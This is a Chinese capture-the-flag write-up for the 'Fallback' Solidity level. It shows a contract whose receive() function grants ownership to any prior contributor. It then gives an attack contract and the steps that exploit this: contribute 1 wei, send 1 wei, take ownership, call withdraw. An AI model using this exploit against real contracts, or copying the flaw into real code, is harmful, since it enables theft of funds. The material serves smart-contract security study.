1.Fallback

题目描述

解题过程

题目源码

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import '@openzeppelin/contracts/math/SafeMath.sol';
contract Fallback {
  using SafeMath for uint256;
  mapping(address => uint) public contributions;
  address payable public owner;
  constructor() public {
    owner = msg.sender;
    contributions[msg.sender] = 1000 * (1 ether);
  }
  modifier onlyOwner {
        require(
            msg.sender == owner,
            "caller is not the owner"
        );
        _;
    }
  function contribute() public payable {
    require(msg.value < 0.001 ether);
    contributions[msg.sender] += msg.value;
    if(contributions[msg.sender] > contributions[owner]) {
      owner = msg.sender;
    }
  }
  function getContribution() public view returns (uint) {
    return contributions[msg.sender];
  }
  function withdraw() public onlyOwner {
    owner.transfer(address(this).balance);
  }
  receive() external payable {
    require(msg.value > 0 && contributions[msg.sender] > 0);
    owner = msg.sender;
  }
}

注意两个部分

// 记录用户地址对合约的贡献量，当用户当前的贡献值大于 owner(定义为1000)，获得 owner权限
function contribute() public payable {
    require(msg.value < 0.001 ether);
    contributions[msg.sender] += msg.value;
    if(contributions[msg.sender] > contributions[owner]) {
      owner = msg.sender;
    }
  }

// fallback函数，当使用 send() 方法发送数据给合约时总会调用该方法
// 定义参考文章：https://me.tryblockchain.org/blockchain-solidity-fallback.html
receive() external payable {
    require(msg.value > 0 && contributions[msg.sender] > 0);
    owner = msg.sender;
  }

思路如下

攻击合约部署

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import "./debug.sol";
contract Attack is Fallback {
  address payable addr = 0x67C2b4b52c4246BB32C200B475062e7882DB265D;
  Fallback att = Fallback(addr);
  function obtain_owner() public payable {
   payable(addr).send(msg.value);
  }
}

调用 contribute方法发送 1 wei

使用 send() 方法发送 1 wei， 触发 fallback

调用后查看 owner权限，已经成功获取

最后调用 withdraw方法 完成关卡